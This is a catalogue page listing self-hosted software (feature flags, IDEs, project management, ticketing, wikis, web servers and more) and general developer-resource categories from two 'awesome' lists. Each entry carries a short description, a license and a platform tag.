awesome: awesome-selfhosted / Software Development - Feature Toggle

Catalogo awesome-selfhosted / Software Development - Feature Toggle: Featbit — Enterprise-grade feature flag platform that you can self-host [MIT, Docker/K8S]. Flagsmith — Dashboard, API and SDKs for adding Feature Flags to your applications (alternative to LaunchDarkly) [BSD-3-Clause, Docker/K8S]. Flipt — Feature flag solution with support for multiple data backends (alternative to LaunchDarkly) [GPL-3.0, Docker/K8S/Go]. GO Feature Flag — Simple, complete, and lightweight feature flag solution (alternative to LaunchDarkly) [MIT, Go].


awesome: awesome-selfhosted / Software Development - IDE & Tools

Catalogo awesome-selfhosted / Software Development - IDE & Tools: Atheos — Web-based IDE framework with a small footprint and minimal requirements, continued from Codiad [MIT, PHP/Docker]. code-server — VS Code in the browser, hosted on a remote server [MIT, Nodejs/Docker]. Coder — Remote development machines on your own infrastructure [AGPL-3.0, Go/Docker/K8S/deb]. Eclipse Che — Open source workspace server and cloud IDE [EPL-1.0, Docker/Java]. Hopp — Remote pair programming app with low-latency 4K screen sharing, drawing, and remote control, with clients for macOS and Windows (alternative to Tuple, Pop, Drovio, Coscreen) [AGPL-3.0, Docker]. Judge0 CE — API to compile and run source code [GPL-3.0, Docker]. JupyterLab — Web-based environment for interactive and reproducible computing [BSD-3-Clause, Python/Docker]. Langfuse — LLM engineering platform for model tracing, prompt management, and application evaluation. Langfuse helps teams collaboratively debug, analyze, and iterate on their LLM applications such as chatbots or AI agents [MIT, Docker].


Catalogo awesome-selfhosted / Software Development - IDE & Tools: LiveCodes — Feature-rich client-side code playground for React, Vue, Svelte, Solid, Typescript, Python, Go, Ruby, PHP and 90+ other languages [⚠, MIT, Nodejs]. Lowdefy — Build internal tools, BI dashboards, admin panels, CRUD apps and workflows in minutes using YAML / JSON on an self-hosted, open-source platform. Connect to your data sources, host via Serverless, Netlify or Docker [Apache-2.0, Nodejs/Docker]. RapidForge — Lightweight platform for building webhooks, scheduled tasks and pages. Implement your logic with Bash or Lua [Apache-2.0, Go/Nodejs]. RStudio Server — Web browser based IDE for R [AGPL-3.0, Java/C++].


awesome: awesome-selfhosted / Software Development - Localization

Catalogo awesome-selfhosted / Software Development - Localization: Accent — Developer-oriented translation tool [BSD-3-Clause, Elixir/Docker]. Tolgee — Developer & translator friendly web-based localization platform enabling users to translate directly in the app they develop [Apache-2.0, Docker/Java]. Traduora — Translation management platform for teams [AGPL-3.0, Docker/K8S/Nodejs]. Weblate — Web-based translation tool with tight version control integration [GPL-3.0, Python/Docker/K8S].


awesome: awesome-selfhosted / Software Development - Low Code

Catalogo awesome-selfhosted / Software Development - Low Code: Appsmith — Build admin panels, CRUD apps and workflows. Build everything you need, 10x faster [Apache-2.0, Java/Docker/K8S]. Appwrite — End to end backend server for web, native, and mobile developers 🚀 [BSD-3-Clause, Docker]. Halo — A powerful and easy-to-use website building tool (documentation in Chinese) [GPL-3.0, Java/Docker]. Manifest — Complete backend that fits into 1 YAML file [MIT, Nodejs]. PocketBase — Backend for your next SaaS and Mobile app in one file [MIT, Go/Docker]. Saltcorn — No-code database application builder for web and mobile applications. One platform for user interface, data backend, durable workflows, email, PDF generation, and AI applications [MIT, Docker/Nodejs]. SQLPage — SQL-only dynamic website builder [MIT, Rust/Docker]. ToolJet — Low-code framework to build & deploy internal tools with minimal engineering effort (alternative to Retool and Mendix) [GPL-3.0, Nodejs/Docker/K8S].


Catalogo awesome-selfhosted / Software Development - Low Code: TrailBase — Open, sub-millisecond, single-executable FireBase alternative with type-safe REST & realtime APIs, built-in JS/TS runtime, auth & admin UI [OSL-3.0, Rust/Docker].


software development - project management

awesome: awesome-selfhosted / Software Development - Project Management

Catalogo awesome-selfhosted / Software Development - Project Management: Cgit — Fast lightweight web interface for git repositories [GPL-2.0, C]. Forgejo — A lightweight software forge focused on scaling, federation, and privacy (fork of Gitea) [MIT, Docker/Go]. Fossil — Distributed version control system featuring wiki and bug tracker [BSD-2-Clause-FreeBSD, C]. Gerrit — Code review and project management tool for Git-based projects [Apache-2.0, Java/Docker]. gitbucket — Git platform powered with easy installation, high extensibility & GitHub API compatibility (alternative to GitHub) [Apache-2.0, Scala/Java]. Gitea — Git with a cup of tea! Painless self-hosted all-in-one software development service, including Git hosting, code review, team collaboration, package registry and CI/CD [MIT, Go/Docker/K8S]. GitLab — Self Hosted Git repository management, code reviews, issue tracking, activity feeds and wikis [MIT, Ruby/deb/Docker/K8S]. Gogs — Painless self-hosted Git Service written in Go [MIT, Go].


Catalogo awesome-selfhosted / Software Development - Project Management: Huly — All-in-one project management platform (alternative to Linear, Jira, Slack, Notion, Motion) [EPL-2.0, Docker/K8S/Nodejs]. Ideon — Project workspace built around an infinite canvas; embed GitHub, GitLab, Gitea, and Forgejo repositories alongside notes, links, and tasks, with real-time collaboration [AGPL-3.0, Docker]. Kaneo — Project management platform focused on simplicity and efficiency [MIT, K8S/Docker]. Leantime — Lean project management system for small teams and startups helping to manage projects from ideation through delivery [AGPL-3.0, PHP/Docker]. Mindwendel — Brainstorm and upvote ideas and thoughts within your team [AGPL-3.0, Docker/Elixir]. minimal-git-server — Lightweight git server with a basic CLI to manage repositories, supporting multiple accounts and running in a container [MIT, Docker]. Octobox — Take back control of your GitHub Notifications [⚠, AGPL-3.0, Ruby/Docker].


Catalogo awesome-selfhosted / Software Development - Project Management: OneDev — All-In-One DevOps Platform. With Git Management, Issue Tracking, and CI/CD. Simple yet Powerful [MIT, Java/Docker/K8S]. OpenProject — Manage your projects, tasks and goals. Collaborate via work packages and link them to your pull requests on Github [GPL-3.0, Ruby/deb/Docker]. Pagure — Lightweight, powerful, and flexible git-centric forge with features laying the foundation for federated and decentralized development [GPL-2.0, Docker/Python/deb]. Phorge — Community-driven platform for collaborating, managing, organizing and reviewing software development projects [Apache-2.0, PHP]. Plane — Track issues, epics, and product roadmaps in the simplest way possible (alternative to JIRA, Linear and Height) [AGPL-3.0, Docker]. ProjeQtOr — Complete, mature, multi-user project management system with extensive functionality for all phases of a project [AGPL-3.0, PHP]. Redmine — Flexible project management web application [GPL-2.0, Ruby].


Catalogo awesome-selfhosted / Software Development - Project Management: Review Board — Extensible and friendly code review tool for projects and companies of all sizes [MIT, Python/Docker]. RhodeCode — Unify and simplify repository management for Git, Subversion, and Mercurial [AGPL-3.0, Python]. Rukovoditel — Configurable open source project management, web-based application [GPL-2.0, PHP]. SCM Manager — The easiest way to share and manage your Git, Mercurial and Subversion repositories over http [BSD-3-Clause, Java/deb/Docker/K8S]. ShipShipShip — Changelog and roadmap platform that bridges project management and customer communication [Apache-2.0, Docker]. Smederee — A frugal platform which is dedicated to help people build great software together leveraging the power of the Darcs version control system [AGPL-3.0, Scala]. Sourcehut — A full web git interface with no javascript [GPL-2.0, Go]. Taiga — Agile Project Management Tool based on the Kanban and Scrum methods [MPL-2.0, Docker/Python/Nodejs].


Catalogo awesome-selfhosted / Software Development - Project Management: Titra — Time-tracking solution for freelancers and small teams [GPL-3.0, Javascript/Docker]. Trac — Trac is an enhanced wiki and issue tracking system for software development projects [BSD-3-Clause, Python/deb]. Traq — Project management and issue tracking system written in PHP [GPL-3.0, PHP/Nodejs]. Tuleap — Tuleap is a libre suite to plan, track, code and collaborate on software projects [GPL-2.0, PHP]. UVDesk — UVDesk community is a service oriented, event driven extensible opensource helpdesk system that can be used by your organization to provide efficient support to your clients effortlessly whichever way you imagine [MIT, PHP]. ZenTao — An agile(scrum) project management system/tool [AGPL-3.0, PHP].


awesome: awesome-selfhosted / Software Development - Testing

Catalogo awesome-selfhosted / Software Development - Testing: Bencher — Suite of continuous benchmarking tools designed to catch performance regressions in CI [MIT/Apache-2.0, Rust]. Request Inbox — Collect and inspect HTTP requests for testing and debugging. Create and manage inboxes, capture detailed request data, configure custom responses [Apache-2.0, Docker]. WebHook Tester — Powerful tool for testing WebHooks and more [MIT, Docker/Go/deb/K8S].


awesome: awesome-selfhosted / Task Management & To-do Lists

Catalogo awesome-selfhosted / Task Management & To-do Lists: 4ga Boards — Straightforward realtime kanban boards management for intuitive task tracking. Featuring an elegant dark mode, collapsible todo lists, and multitasking tools to supercharge your team's productivity [MIT, Nodejs/Docker/K8S]. AppFlowy — Build detailed lists of to-do’s for different projects while tracking the status of each one. Open Source Notion Alternative [AGPL-3.0, Rust/Dart/Docker]. dayGLANCE — Day planner with drag-and-drop time blocking, inbox, recurring tasks, habits, routines, goals, projects and Pomodoro focus mode, plus iCal and CalDAV calendar sync. Data stays in the browser, with optional WebDAV or GLANCEvault sync [MIT, Javascript/Docker]. Donetick — Task and chore management tool for personal and family use, with advanced scheduling, flexible assignment, and group sharing capabilities, detailed history, automation via API, simple and modern design [AGPL-3.0, Go/Docker]. Focus Flow — Complete ecosystem for time management using the Pomodoro technique [MIT, Docker/K8S].


Catalogo awesome-selfhosted / Task Management & To-do Lists: HamsterBase Tasks — A tool to help organize ideas and build great things. Plan, organize, build and ship [AGPL-3.0, Docker]. Kan — Flexible kanban app that helps you organise work, track progress, and deliver results (alternative to Trello) [AGPL-3.0, Docker]. Kanboard — Simple visual task board [MIT, PHP]. Listaway — List management app for creating and publicly sharing lists of items. Supports auth, admin tools, item notes and priorities, and opt-in public read-only links with randomized URLs (alternative to Amazon Lists) [MIT, Docker]. myTinyTodo — Simple way to manage your todo list in AJAX style. Uses PHP, jQuery, SQLite/MySQL. GTD compliant [GPL-2.0, PHP]. Nullboard — Single-page minimalist kanban board; compact, highly readable and quick to use [BSD-2-Clause, Javascript]. OpenHabitTracker — Track habits, tasks and notes with time tracking, calendar view and completion statistics [GPL-3.0, Docker].


Catalogo awesome-selfhosted / Task Management & To-do Lists: Our Shopping List — Simple shared list application including shopping lists and any other small todo-list that needs to be used collaboratively [AGPL-3.0, Docker]. Super Productivity — Advanced todo list app with integrated timeboxing and time tracking capabilities. Integrates with Jira, GitHub, GitLab, Redmine and OpenProject [MIT, Docker]. Task Keeper — List editor for power users, backed by a self-hosted server [Apache-2.0, Scala]. Tasks.md — A self-hosted, file based task management board that supports Markdown syntax [MIT, Docker]. Taskwarrior — Taskwarrior is Free and Open Source Software that manages your TODO list from your command line. It is flexible, fast, efficient, and unobtrusive. It does its job then gets out of your way [MIT, C++]. Tracks — Web-based application to help you implement David Allen’s [Getting Things Done™](https://en.wikipedia.org/wiki/Getting_Things_Done) methodology [GPL-2.0, Ruby].


Catalogo awesome-selfhosted / Task Management & To-do Lists: tududi — Task management tool with hierarchical structure, smart recurring tasks, and seamless Telegram integration [MIT, Docker]. Vikunja — The to-do app to organize your life [AGPL-3.0/GPL-3.0, Go]. Wekan — Open-source Trello-like kanban [MIT, Nodejs]. Will Be Done — Offline-first task manager with weekly planning, project boards, real-time sync, Vim keybindings, desktop quick add, and import from popular task managers (alternative to TickTick, Todoist) [AGPL-3.0, Docker/Nodejs].


Catalogo awesome-selfhosted / Ticketing: BugPin — Visual bug reporting and ticketing tool for web applications [AGPL-3.0/MIT, Docker]. Bugzilla — General-purpose bugtracker and testing tool originally developed and used by the Mozilla project [MPL-2.0, Perl]. Frappe Helpdesk — Helpdesk software which helps you streamline your company's support, offers an easy setup, clean user interface, and automation tools to resolve customer queries efficiently [AGPL-3.0, Docker]. FreeScout — Email-based customer support application, help desk and shared mailbox (alternative to Zendesk and Help Scout) [AGPL-3.0, PHP/Docker]. GlitchTip — Error tracking app to collect errors reported by your app [MIT, Python/Docker/K8S]. ITFlow — Client IT documentation, ticketing, invoicing and accounting for MSPs (Managed Service Providers) [GPL-3.0, PHP]. Libredesk — Modern omnichannel customer support desk. Live chat, email, and more in a single binary [AGPL-3.0, Docker/Go/Nodejs]. MantisBT — Bug tracker, fits best for software development [GPL-2.0, PHP].


Catalogo awesome-selfhosted / Ticketing: OTOBO — Flexible web-based ticketing system used for customer service, help desk, IT service management [GPL-3.0, Perl/Docker]. Request Tracker — Enterprise-grade issue tracking system [GPL-2.0, Perl]. Roundup Issue Tracker — Simple-to-use and -install issue tracking system with command-line, web, REST, XML-RPC, and e-mail interfaces. Designed with flexibility in mind - not just another bug tracker [MIT/ZPL-2.0, Python/Docker]. Zammad — Easy to use but powerful open-source support and ticketing system [AGPL-3.0, Ruby/deb].


awesome: awesome-selfhosted / Time Tracking

Catalogo awesome-selfhosted / Time Tracking: ActivityWatch — Automatically track how you spend time on your devices [MPL-2.0, Python]. Beaver Habit Tracker — Habit tracking app to save your precious moments in your fleeting life [BSD-3-Clause, Docker]. Ever Gauzy — Open business management platform for collaborative, on-demand and sharing economies (ERP/CRM/HRM/ATS/PM) [AGPL-3.0, Docker/Nodejs]. Kimai — Track work time and print out a summary of your activities on demand [AGPL-3.0, PHP]. solidtime — Modern time tracking application for freelancers and agencies [AGPL-3.0, Docker]. TimeTagger — An open source time-tracker based on an interactive timeline and powerful reporting [GPL-3.0, Python]. Traggo — Traggo is a tag-based time tracking tool. In Traggo there are no tasks, only tagged time spans [GPL-3.0, Docker/Go]. Wakapi — Tracking tool for coding statistics, compatible with WakaTime [GPL-3.0, Go/Docker]. Ziit — The Swiss army knife of code time tracking (alternative to WakaTime) [AGPL-3.0, Docker].


awesome: awesome-selfhosted / Travel Organization

Catalogo awesome-selfhosted / Travel Organization: Surmai — Collaborative personal and family travel organizer [MIT, Docker].


awesome: awesome-selfhosted / URL Shorteners

Catalogo awesome-selfhosted / URL Shorteners: bit — Fast, lightweight, resource-efficient, compiled URL shortener [MIT, Docker/Crystal]. Chhoto URL — Simple, lightning-fast URL shortener with no bloat (fork of simply-shorten) [MIT, Rust/Docker]. clink — A super-minimal link shortening service written in pure C, focusing on small executable size, portability, and ease of configuration [AGPL-3.0, C]. Flink — Create QR Codes, embeddable link previews for your website and crawls/scrapes metadata [MIT, Docker]. Kutt — Modern URL shortener with support for custom domains and custom URLs [MIT, Nodejs/Docker]. rs-short — Lightweight link shortener written in Rust, with features such as caching, spambot protection and phishing detection [MPL-2.0, Rust]. Shlink — URL shortener with REST API and command line interface. Includes official progressive web application and docker images [MIT, PHP/Docker]. Simple-URL-Shortener — KISS URL shortener, public or private (with account). Minimalist and lightweight. No dependencies [MIT, PHP].


Catalogo awesome-selfhosted / URL Shorteners: YOURLS — YOURLS is a set of PHP scripts that will allow you to run Your Own URL Shortener. Features include password protection, URL customization, bookmarklets, statistics, API, plugins, jsonp [MIT, PHP].


awesome: awesome-selfhosted / Video Surveillance

Catalogo awesome-selfhosted / Video Surveillance: Bluecherry — Closed-circuit television (CCTV) software application which supports IP and Analog cameras [GPL-2.0, PHP]. Frigate — Monitor your security cameras with locally processed AI [MIT, Docker/Python/Nodejs]. motionEye — Online interface for the software Motion, a video surveillance program with motion detection [GPL-3.0, Python/Docker]. Secluso — Private DIY home security camera system for Raspberry Pi, with end-to-end encrypted remote access and mobile apps for live video, alerts, and recording playback [GPL-3.0, Rust]. SentryShot — Video surveillance management system [GPL-2.0, Docker/Rust]. Strix — Auto-discovers working stream URLs for IP cameras and generates ready-to-use Frigate and go2rtc configs [MIT, Go/Docker]. Viseron — Self-hosted, local-only NVR and AI Computer Vision software. With features such as object detection, motion detection, face recognition and more, it gives you the power to keep an eye on your home, office or any other place you want to monitor [MIT, Docker].


Catalogo awesome-selfhosted / Video Surveillance: Zoneminder — Closed-circuit television (CCTV) software application which supports IP, USB and Analog cameras [GPL-2.0, PHP/deb].


awesome: awesome-selfhosted / Web Servers

Catalogo awesome-selfhosted / Web Servers: Algernon — Small self-contained pure-Go web server with Lua, Markdown, HTTP/2, QUIC, Redis and PostgreSQL support [BSD-3-Clause, Go/Docker]. Apache HTTP Server — Secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards [Apache-2.0, C/deb/Docker]. BunkerWeb — Next-gen Web Application Firewall (WAF) that will protect your web services [AGPL-3.0, deb/Docker/K8S/Python]. Caddy — Powerful, enterprise-ready, open source web server with automatic HTTPS [Apache-2.0, Go/deb/Docker]. Ferron — Fast, memory-safe web server written in Rust [MIT, Rust/Docker/deb]. go-doxy — Lightweight, simple, and performant reverse proxy with WebUI, Docker integration, automatic shutdown/startup for container based on traffic [MIT, Docker/Go]. godoxy — High-performance reverse proxy and container orchestrator for self-hosters [MIT, Docker/Go]. HAProxy — Very fast and reliable reverse-proxy offering high availability, load balancing, and proxying for TCP and HTTP-based applications [GPL-2.0, C/deb/Docker].


Catalogo awesome-selfhosted / Web Servers: Lighttpd — Secure, fast, compliant, and very flexible web server that has been optimized for high-performance environments [BSD-3-Clause, C/deb/Docker]. Nginx Proxy Manager — Docker container for managing Nginx proxy hosts with a simple, powerful interface [MIT, Docker]. NGINX — HTTP and reverse proxy server, mail proxy server, and generic TCP/UDP proxy server [BSD-2-Clause, C/deb/Docker]. Pangolin — Identity-aware tunneled reverse proxy with dashboard UI, access control, and WireGuard-based tunnels (alternative to Cloudflare Tunnel, Tailscale) [AGPL-3.0, Docker]. Pomerium — Identity-aware reverse proxy, successor to now obsolete oauth_proxy. It inserts an OAuth step before proxying your request to the backend, so that you can safely expose your self-hosted websites to public Internet [Apache-2.0, Go/Docker]. SafeLine — Web application firewall / reverse proxy to protect your web apps from attacks and exploits [GPL-3.0, Docker].


Catalogo awesome-selfhosted / Web Servers: Static Web Server — Cross-platform, high-performance, and asynchronous web server for static file serving [Apache-2.0/MIT, Rust/Docker]. SWAG (Secure Web Application Gateway) — Nginx webserver and reverse proxy with PHP support, built-in Certbot (Let's Encrypt) client and fail2ban integration [GPL-3.0, Docker]. Traefik — HTTP reverse proxy and load balancer that makes deploying microservices easy [MIT, Go/Docker]. UUSEC WAF — Industry-leading high-performance, AI and semantic technology web application firewall and API security gateway (fork of nginx) [GPL-3.0, C/Lua/Docker]. Vinyl Cache — Web application accelerator/caching HTTP reverse proxy (formerly Varnish) [BSD-2-Clause, Go/deb/Docker]. Zoraxy — General purpose HTTP reverse proxy and forwarding tool [AGPL-3.0, Go/Docker].


Catalogo awesome-selfhosted / Wikis: AmuseWiki — Amusewiki is based on the Emacs Muse markup, remaining mostly compatible with the original implementation. It can work as a read-only site, as a moderated wiki, or as a fully open wiki or even as a private site [GPL-1.0, Perl/Docker]. BookStack — Organize and store information. Stores documentation in a book like fashion [MIT, PHP/Docker]. django-wiki — Wiki system with complex functionality for simple integration and a superb interface. Store your knowledge with style: Use django models [GPL-3.0, Python]. docmost Community Edition — Collaborative wiki and documentation software (alternative to Confluence, Notion) [AGPL-3.0, Docker/Nodejs]. Documize — Modern Docs + Wiki software with built-in workflow, single binary executable, just bring MySQL/Percona [AGPL-3.0, Go]. Dokuwiki — Easy to use, lightweight, standards-compliant wiki engine with a simple syntax allowing reading the data outside the wiki. All data is stored in plain text files, therefore no database is required [GPL-2.0, PHP].


Catalogo awesome-selfhosted / Wikis: Feather Wiki — A lightning fast and infinitely extensible tool for creating personal non-linear notebooks, databases, and wikis that is entirely self-contained, runs in your browser, and is only 58 kilobytes in size [AGPL-3.0, Javascript]. Gitit — Wiki program that stores pages and uploaded files in a git repository, which can then be modified using the VCS command line tools or the wiki's web interface [GPL-2.0, Haskell]. Gollum — Simple, Git-powered wiki with a sweet API and local frontend [MIT, Ruby]. LeafWiki — A fast wiki for people who think in folders, not feeds. Fast editing. Tree navigation. Markdown on disk [MIT, Docker/Go]. Mediawiki — Wiki software package that powers Wikipedia and all other Wikimedia projects, serving hundreds of millions of users each month [GPL-2.0, PHP]. Mycorrhiza Wiki — Filesystem and git-based wiki engine written in Go using Mycomarkup as its primary markup language [AGPL-3.0, Go]. Otter Wiki — Simple, easy to use wiki software using markdown [MIT, Docker].


Catalogo awesome-selfhosted / Wikis: PmWiki — Wiki-based system for collaborative creation and maintenance of websites [GPL-3.0, PHP]. Raneto — Knowledgebase platform that uses static Markdown files [MIT, Nodejs]. TiddlyWiki — Reusable non-linear personal web notebook [BSD-3-Clause, Nodejs]. Tiki — Wiki CMS Groupware with the most built-in features [LGPL-2.1, PHP]. W — Lightweight, mutli-user, flat-file-database Wiki engine. Create pages quickly and edit them in your Web browser using Mardown/HTML/CSS/JS. The main difference with other wiki is that you are encouraged to customize each page style individually [AGPL-3.0, PHP]. WackoWiki — WackoWiki is a light and easy to install multilingual Wiki-engine [BSD-3-Clause, PHP]. Wiki-Go — A modern, feature-rich, databaseless flat-file wiki platform [GPL-3.0, Go/Docker]. Wiki.js — Modern, lightweight and powerful wiki app using Git and Markdown [AGPL-3.0, Nodejs/Docker/K8S]. WikiDocs — A databaseless markdown flat-file wiki engine [MIT, PHP/Docker]. WiKiss — Wiki, simple to use and install [GPL-2.0, PHP].


Catalogo awesome-selfhosted / Wikis: XWiki — Second generation wiki that allows the user to extend its functionalities with a powerful extension-based architecture [LGPL-2.1, Java/Docker/deb]. Zim — Graphical text editor used to maintain a collection of wiki pages. Each page can contain links to other pages, simple formatting and images [GPL-2.0, Python/deb].


awesome: awesome (sindresorhus) / Platforms

Catalogo awesome (sindresorhus) / Platforms: Node.js — Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. Cross-Platform — Writing cross-platform code on Node.js. Frontend Development. iOS — Mobile operating system for Apple phones and tablets. Android — Mobile operating system developed by Google. IoT & Hybrid Apps. Electron — Cross-platform native desktop apps using JavaScript/HTML/CSS. Cordova — JavaScript API for hybrid apps. React Native — JavaScript framework for writing natively rendering mobile apps for iOS and Android. Xamarin — Mobile app development IDE, testing, and distribution. Containers. eBPF — Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. Arch-based Projects — Linux distributions and projects based on Arch Linux. AppImage — Package apps in a single file that works on various mainstream Linux distributions. Omarchy — Opinionated Arch Linux and Hyprland desktop environment from the creator of Ruby on Rails. Screensavers. Apps. Open Source Apps.


Catalogo awesome (sindresorhus) / Platforms: watchOS — Operating system for the Apple Watch. JVM. Salesforce. Amazon Web Services. Windows — Consumer desktop operating system. PowerToys Run Plugins — Community plugins for the Windows quick launcher. IPFS — P2P hypermedia protocol. Fuse — Mobile development tools. Heroku — Cloud platform as a service. Raspberry Pi — Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. Qt — Cross-platform GUI app framework. WebExtensions — Cross-browser extension system. Smart TV — Create apps for different TV platforms. GNOME — Simple and distraction-free desktop environment for Linux. KDE — A free software community dedicated to creating an open and user-friendly computing experience. .NET. Core. Roslyn — Open-source compilers and code analysis APIs for C# and VB.NET languages. DigitalOcean — Cloud computing platform designed for developers. Flutter — Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.


Catalogo awesome (sindresorhus) / Platforms: Home Assistant — Open source home automation that puts local control and privacy first. IBM Cloud — Cloud platform for developers and companies. Firebase — App development platform built on Google Cloud. Adafruit IO — Visualize and store data from any device. Cloudflare — CDN, DNS, DDoS protection, and security for your site. Actions on Google — Developer platform for Google Assistant. ESP — Low-cost microcontrollers with WiFi and broad IoT applications. Deno — A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. DOS — Operating system for x86-based personal computers that was popular during the 1980s and early 1990s. Nix — Package manager for Linux and other Unix systems that makes package management reliable and reproducible. Integration — Linking together different IT systems (components) to functionally cooperate as a whole. Node-RED — A programming tool for wiring together hardware devices, APIs, and online services.


Catalogo awesome (sindresorhus) / Platforms: Low Code — Allowing business professionals to address their needs on their own with little to no coding skills. Capacitor — Cross-platform open source runtime for building Web Native apps. ArcGIS Developer — Mapping and location analysis platform for developers. Bluetooth Low Energy — Low-power wireless communication protocol ideal for IoT, wearables, and other battery-powered applications. Uno Platform — Open-source .NET UI platform for building cross-platform apps. Google Cloud — Cloud computing services by Google. Firebase Genkit — An open-source framework for building AI-powered apps and features. Backstage — Open-source platform for building Internal Developer Portals that unify tools and workflows.


awesome: awesome (sindresorhus) / Programming Languages

Catalogo awesome (sindresorhus) / Programming Languages: JavaScript. Promises. Standard Style — Style guide and linter. Must Watch Talks. Tips. Network Layer. Micro npm Packages. Mad Science npm Packages — Impossible sounding projects that exist. Maintenance Modules — For npm packages. npm — Package manager. AVA — Test runner. ESLint — Linter. Functional Programming. Observables. npm scripts — Task runner. 30 Seconds of Code — Code snippets you can understand in 30 seconds. Ponyfills — Like polyfills but without overriding native APIs. Swift — Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. Education. Playgrounds. Python — General-purpose programming language designed for readability. Asyncio — Asynchronous I/O in Python 3. Scientific Audio — Scientific research in audio/music. CircuitPython — A version of Python for microcontrollers. Data Science — Data analysis and machine learning. Typing — Optional static typing for Python. MicroPython — A lean and efficient implementation of Python 3 for microcontrollers. Rust.


Catalogo awesome (sindresorhus) / Programming Languages: Pest — Parser generator. Haskell. PureScript. Go. Scala. Scala Native — Optimizing ahead-of-time compiler for Scala based on LLVM. Ruby. Clojure. ClojureScript. Elixir. Elm. Erlang. Julia — High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. Lua. C/C++ — General-purpose language with a bias toward system programming and embedded, resource-constrained software. R — Functional programming language and environment for statistical computing and graphics. Learning. D. Common Lisp — Powerful dynamic multiparadigm language that facilitates iterative and interactive development. Learning. Perl. Groovy. Dart. Java — Popular secure object-oriented language designed for flexibility to "write once, run anywhere". RxJava. J2ME — Java specification designed for old keypad phones and PDAs. Kotlin. OCaml. ColdFusion. Fortran. PHP — Server-side scripting language. Composer — Package manager. Pascal. AutoHotkey. AutoIt. Crystal.


Catalogo awesome (sindresorhus) / Programming Languages: CMake — Build, test, and package software. ActionScript 3 — Object-oriented language targeting Adobe AIR. Idris — General purpose pure functional programming language with dependent types influenced by Haskell and ML. Ada/SPARK — Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. Q# — Domain-specific programming language used for expressing quantum algorithms. Imba — Programming language inspired by Ruby and Python and compiles to performant JavaScript. Vala — Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. Coq — Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. V — Simple, fast, safe, compiled language for developing maintainable software. Move — Domain-specific programming language for writing safe smart contracts.


Catalogo awesome (sindresorhus) / Programming Languages: Esolangs — Programming languages designed for experimentation or as jokes rather than actual use. VBA — An event-driven version of Visual Basic 6.0 built into most Microsoft Office apps for automation and scripting. F# — A .NET-based language with focus on functional programming.


awesome: awesome (sindresorhus) / Front-End Development

Catalogo awesome (sindresorhus) / Front-End Development: ES6 Tools. Web Performance Optimization. Web Tools. CSS — Style sheet language that specifies how HTML elements are displayed on screen. Critical-Path Tools. Scalability. Must-Watch Talks. Protips. Frameworks. React — JavaScript library for building user interfaces. Relay — Framework for building data-driven React apps. React Hooks — Lets you use state and other React features without writing a class. Web Components. Polymer — JavaScript library to develop Web Components. Angular — App framework. Backbone — App framework. HTML5 — Markup language used for websites & web apps. SVG — XML-based vector image format. Canvas. KnockoutJS — JavaScript library. Dojo Toolkit — JavaScript toolkit. Inspiration. Ember — App framework. Android UI. iOS UI. Meteor. BEM. Flexbox. Web Typography. Web Accessibility. Material Design. D3 — Library for producing dynamic, interactive data visualizations. Emails. jQuery — Easy to use JavaScript library for DOM manipulation. Tips. Web Audio. Offline-First. Static Website Services.


Catalogo awesome (sindresorhus) / Front-End Development: Cycle.js — Functional and reactive JavaScript framework. Text Editing. Motion UI Design. Vue.js — App framework. Marionette.js — App framework. Aurelia — App framework. Charting. Ionic Framework. Chrome DevTools. PostCSS — CSS tool. Draft.js — Rich text editor framework for React. Service Workers. Progressive Web Apps. choo — App framework. Redux — State container for JavaScript apps. Browserify — Module bundler. Sass — CSS preprocessor. Ant Design — Enterprise-class UI design language. Less — CSS preprocessor. WebGL — JavaScript API for rendering 3D graphics. Preact — App framework. Progressive Enhancement. Next.js — Framework for server-rendered React apps. lit — Library for building web components with a declarative template system. JAMstack — Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. WordPress-Gatsby — Web development technology stack with WordPress as a back end and Gatsby as a front end. Mobile Web Development — Creating a great mobile web experience.


Catalogo awesome (sindresorhus) / Front-End Development: Storybook — Development environment for UI components. Blazor — NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. PageSpeed Metrics — Metrics to help understand page speed and user experience. Tailwind CSS — Utility-first CSS framework for rapid UI development. Seed — Rust framework for creating web apps running in WebAssembly. Web Performance Budget — Techniques to ensure certain performance metrics for a website. Web Animation — Animations in the browser with JavaScript, CSS, SVG, etc. Yew — Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. Material-UI — Material Design React components for faster and easier web development. Building Blocks for Web Apps — Standalone features to be integrated into web apps. Svelte — App framework. Design systems — Collection of reusable components, guided by rules that ensure consistency and speed. Inertia.js — Make single-page apps without building an API.


Catalogo awesome (sindresorhus) / Front-End Development: MDBootstrap — Templates, layouts, components, and widgets to rapidly build websites. Master CSS — A virtual CSS language with enhanced syntax. Hydrogen — Edge-first framework for building Shopify storefronts with React. Tiny JS — Frontend libraries that fit into 2 kB with dependencies. Frontend GIS — Geographic Information Systems (GIS) for web browsers. WebGPU — JavaScript API for rendering and compute on GPUs. WebAssembly — A portable binary format for running code efficiently across platforms.


awesome: awesome (sindresorhus) / Back-End Development

Catalogo awesome (sindresorhus) / Back-End Development: Flask — Python framework. Docker. Vagrant — Automation virtual machine environment. Pyramid — Python framework. Play1 Framework. CakePHP — PHP framework. Symfony — PHP framework. Education. Laravel — PHP framework. Education. Rails — Web app framework for Ruby. Gems — Packages. Phalcon — PHP framework. Useful `.htaccess` Snippets. nginx — Web server. Dropwizard — Java framework. Kubernetes — Open-source platform that automates Linux container operations. Lumen — PHP micro-framework. Serverless Framework — Serverless computing and serverless architectures. Apache Wicket — Java web app framework. Vert.x — Toolkit for building reactive apps on the JVM. Terraform — Tool for building, changing, and versioning infrastructure. Vapor — Server-side development in Swift. Dash — Python web app framework. FastAPI — Python web app framework. CDK — Open-source software development framework for defining cloud infrastructure in code. IAM — User accounts, authentication and authorization. Slim — PHP framework.


